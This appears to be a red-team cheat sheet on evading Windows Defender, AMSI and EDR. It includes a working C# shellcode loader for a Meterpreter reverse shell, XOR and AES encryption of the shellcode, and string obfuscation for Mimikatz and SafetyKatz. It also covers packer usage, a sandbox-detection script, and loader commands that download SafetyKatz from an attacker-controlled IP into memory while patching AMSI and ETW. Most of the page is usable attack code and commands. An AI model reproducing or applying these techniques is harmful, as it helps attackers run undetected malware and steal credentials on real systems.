Static Analysis

Defender detection

PS C:\Tools\ExpandDefenderSig> Import-Module C:\Tools\ExpandDefenderSig\ExpandDefenderSig.ps1
PS C:\Tools\ExpandDefenderSig> ls "C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{50326593-AC5A-4EB5-A3F0-047A75D1470C}\mpavbase.vdm" | Expand-DefenderAVSignatureDB -OutputFileName mpavbase.raw


    Directory: C:\Tools\ExpandDefenderSig


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          4/9/2024  12:50 PM       79092299 mpavbase.raw


PS C:\Tools\ExpandDefenderSig> C:\Tools\Strings\strings64.exe .\mpavbase.raw | Select-String -Pattern "WNcry@2ol7"

WNcry@2ol7d
WNcry@2ol7

DefenderCheck

DefenderCheck.exe Script.ps1

Also try with gocheck:

AmsiScanner

Powershell scripts - AMSITrigger

Hunt for malicious string

AmsiTrigger_x64.exe -i C:\path\to\script.ps2

Bypass

Approches for Evasion
using System;
using System.Linq;
using System.Runtime.InteropServices;

namespace NotMalware
{
    internal class Program
    {
        [DllImport("kernel32")]
        private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
            // Shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
            byte[] buf = new byte[] {<SNIP>};

            // Allocate RW space for shellcode
            IntPtr lpStartAddress = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x1000, 0x04);

            // Copy shellcode into allocated space
            Marshal.Copy(buf, 0, lpStartAddress, buf.Length);

            // Make shellcode in memory executable
            UInt32 lpflOldProtect;
            VirtualProtect(lpStartAddress, (UInt32)buf.Length, 0x20, out lpflOldProtect);

            // Execute the shellcode in a new thread
            UInt32 lpThreadId = 0;
            IntPtr hThread = CreateThread(0, 0, lpStartAddress, IntPtr.Zero, 0, ref lpThreadId);

            // Wait until the shellcode is done executing
            WaitForSingleObject(hThread, 0xffffffff);
        }
    }
}

Note: When creating a new project, make sure to select Console App (.NET Framework), and when compiling make sure to target x64 in Release mode.

XOR Encryption

PS C:\Tools\NotMalware\NotMalware\bin\x64\Release> C:\Tools\ThreatCheck-master\ThreatCheck\ThreatCheck\bin\x64\Release\ThreatCheck.exe -f .\NotMalware.exe

XOR our shellcode with the value 0x5C (make sure to get rid of new lines, as this breaks the recipe).

Replace the shellcode in the program with the output, and then add a short loop which XORs each byte with 0x5C just before writing the shellcode to memory

<SNIP>

// XOR'd shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
byte[] buf = new byte[] { <SNIP> }

// Allocate RW space for shellcode
<SNIP>

// Decrypt shellcode
int i = 0;
while (i < buf.Length)
{
    buf[i] = (byte)(buf[i] ^ 0x5c);
    i++;
}

// Copy shellcode into allocated space
<SNIP>

Still detected:

AES Encryption

Modified code

<SNIP>
using System.Security.Cryptography;

namespace NotMalware
{
    internal class Program
    {
        <SNIP>

        static void Main(string[] args)
        {
            // Shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
            string bufEnc = "<SNIP>";

            // Decrypt shellcode
            Aes aes = Aes.Create();
            byte[] key = new byte[16] { 0x1f, 0x76, 0x8b, 0xd5, 0x7c, 0xbf, 0x02, 0x1b, 0x25, 0x1d, 0xeb, 0x07, 0x91, 0xd8, 0xc1, 0x97 };
            byte[] iv = new byte[16] { 0xee, 0x7d, 0x63, 0x93, 0x6a, 0xc1, 0xf2, 0x86, 0xd8, 0xe4, 0xc5, 0xca, 0x82, 0xdf, 0xa5, 0xe2 };
            ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
            byte[] buf;
            using (var msDecrypt = new System.IO.MemoryStream(Convert.FromBase64String(bufEnc)))
            {
                using (var csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
                {
                    using (var msPlain = new System.IO.MemoryStream())
                    {
                        csDecrypt.CopyTo(msPlain);
                        buf = msPlain.ToArray();
                    }
                }
            }

            // Allocate RW space for shellcode
            <SNIP>

"No threat found!"

But .... Behavorial detection

Basic Bypass

Amsitrigger flag "System.AppDomain" in PowerUp.ps1

Reverse the string

$string = 'niamoDppA.metsyS'
$classrev = ([regex]::Matches($string,'.','RightToLeft') | ForEach {$_vlaue}) -join ''
$AppDomain = [Reflection.Assembly].Assembly.GetType("$classrev").GetProperty('CurrentDomain').GetValue($null, @())

Other methods:

  1. Remove default comments

  2. Rename the script, functions names and variables

  3. Modify the variable names of the Win32 API clals that are detected

  4. Obfuscate PEBytes content -> use packers: https://github.com/mgeeky/ProtectMyTooling

  5. Implement a reverse function for PEBytes to avoid static signatures

  6. Add a sandbox check to waste dynamic analysis resources

  7. Remove reflective PE warnings

  8. Use obfuscated commands for Invoke-XXX

Simple obfuscation:

$j = "yS"
$i = "E"
$h = "k"
$g = "E"
$f = "::"
$e = "a"
$d = "lS"
$c = "r"
$b = "EKu"
$a = "s"

$Pwn = $a + $b + $c +$d +$e + $f + $g + $h + $i + $j

Invoke-Mimi -Command $Pwn

String manipulation

Example 1: SafetyKatz

  • Run DefenderCheck - String flagged

Open VisualStudio

Ctrl + H - Find and replace "Credentials" with "Credents" (make sur the new string is not present in the code)

Select Scope as "Entire Solution" - "Replace All"

Build and recheck with DefenderCheck

Out-CompressedDll mimikatz.exe outputfile.txt

Copy the value of the variable $EncodedCompressedFile and replace "compresedMimikatzString" in the Constants.cs of SafetyKatz

Copy the byte size from the output and replace it in Program.cs

Build and recheck with DefenderCheck

Example 2: BetterSafetyKatz

Download "mimikatz_trunk.zip", convert the file to base64

filename = "C:\path\to\mimikatz_trunk.zip"
[Convert]::ToBase64String([IO.file]::ReadAllBytes($filename)) | clip

Modify the Program.cs file:

  • Add a new variable that contains the base64

  • Comment the code that downloads or accepts the mimikatz file as argument

  • Convert the base64 string to bytes and pass it to "zipStream" variable

Obfuscation

C# Obfuscation

ConfuserEx

./nimcrypt -f Rubeus-original.exe -e -n -s --no-ppid-spoof -o Rubeus.exe -t csharp
-e: Encrypt strings using the strenc module
-n: Disable syscall name randomization
-s: Disable sandbox checks
--no-ppid-spoof: Disable PPID Spoofing
-t: Type of file
-o: Output filename

Example with Rubeus

Launch ConfuserEx

  • In Project tab select the Base Directory where the binary file is located.

  • In Project tab Select the Binary File that we want to obfuscate.

  • In Settings tab add the rules.

  • In Settings tab edit the rule and select the preset as Normal.

  • In Protect tab click on the protect button.

The new obfuscated binary is in the Confused folder under the Base Directory.

Nimcrypt2

InvisibilityCloak

Powershell Obfuscation

Basic obfuscation

$j = "yS"
$i = "E"
$h = "k"
$g = "E"
$f = "::"
$e = "a"
$d = "lS"
$c = "r"
$b = "EKu"
$a = "s"

$Pwn = $a + $b + $c +$d +$e + $f + $g + $h + $i + $j

Invoke-Mimi -Command $Pwn

x64 binaries

Packers

Sandbox check

# Target VMware and VirtualBox

$EvidenceOfSandbox = New-Object System.Collections.ArrayList

	$FilePathsToCheck = 'C:\windows\System32\Drivers\Vmmouse.sys’,
	'C:\windows\System32\Drivers\vm3dgl.dll',
	'C:\windows\System32\Drivers\vmdum.dll’,
	'C:\windows\System32\Drivers\vm3dver.dll',
	'C:\windows\System32\Drivers\vmtray.dll',
	'C:\windows\System32\Drivers\vmci.sys',
	'C:\windows\System32\Drivers\vmusbmouse.sys',
	'C:\windows\system32\Drivers\vmx_svga.sys',
	'C:\windows\system32\Drivers\vmxnet.sys',
	'C:\windows\System32\Drivers\VMToolsHook.dll',
	'C:\windows\System32\Drivers\vmhgfs.dll',
	'C:\windows\System32\Drivers\vmmousever.dll',
	'C:\windows\System32\Drivers\vmGuestLib.dll',
	'C:\windows\System32\Drivers\VmGuestLibJava.dll',
	'C:\windows\System32\Drivers\vmscsi.sys',
	'C:\windows\System32\Drivers\VBoxMouse.sys',
	'C:\windows\System32\Drivers\VBoxGuest.sys',
	'C:\windows\System32\Drivers\VBoxSF.sys',
	'C:\windows\System32\Drivers\VBoxVideo.sys'
	
	ForEach ($FilePath in $FilePathsToCheck) {
		if (Test-Path $FilePath) {
			[void]$EvidenceOfSandbox.Add($FilePath)
		}
	}

if ($EvidenceOfSandbox.count -eq 0) {
} else {
	Write-Output "The following files on disk suggest we are running in a sandbox. Caution!."
	$EvidenceOfSandbox
}

Payload Delivery

Use NetLoader with CsWhispers to add D/Invoke and indirect syscall execution

  1. Download CsWhispers, open it in Visual Studio and Check 'Allow unsafe code' under build configuration.

  2. Create a new file called CsWhispers.txt under CsWhispers.Sample and append NT API and struct equivalents that are required to be replaced in the NetLoader project.

  3. Finally, append the NetLoader project into CSWhispers.Sample and replace appropriate WinAPIs with their NT equivalents. Build the solution.

  4. Obfuscate the generated assembly using Nimcrypt2.

NetLoader can be used to loadbinary from filepathor URL and patch AMSI & ETW while executing.

C:\Users\Public\Loader.exe -path http://192.168.100.X/SafetyKatz.exe

AssemblyLoader can be used to load the Netloader in-memory from a URL which then loads a binary from a filepath or URL.

C:\Users\Public\AssemblyLoad.exe http://192.168.100.X/Loader.exe -path http://192.168.100.X/SafetyKatz.exe

Change Signature

Metasploit Payload

IEX Blocked

EDR/AV block this command

iex (iwr -useb 'http://10.10.10/PowerView.ps1')

Instead of using Invoke-Expression, simply copy and paste the script directly into the PowerShell terminal, storing it in a variable and then loading it into memory using an alternative method.

Other Tools

ToolsPayload Creation

Resources

Last updated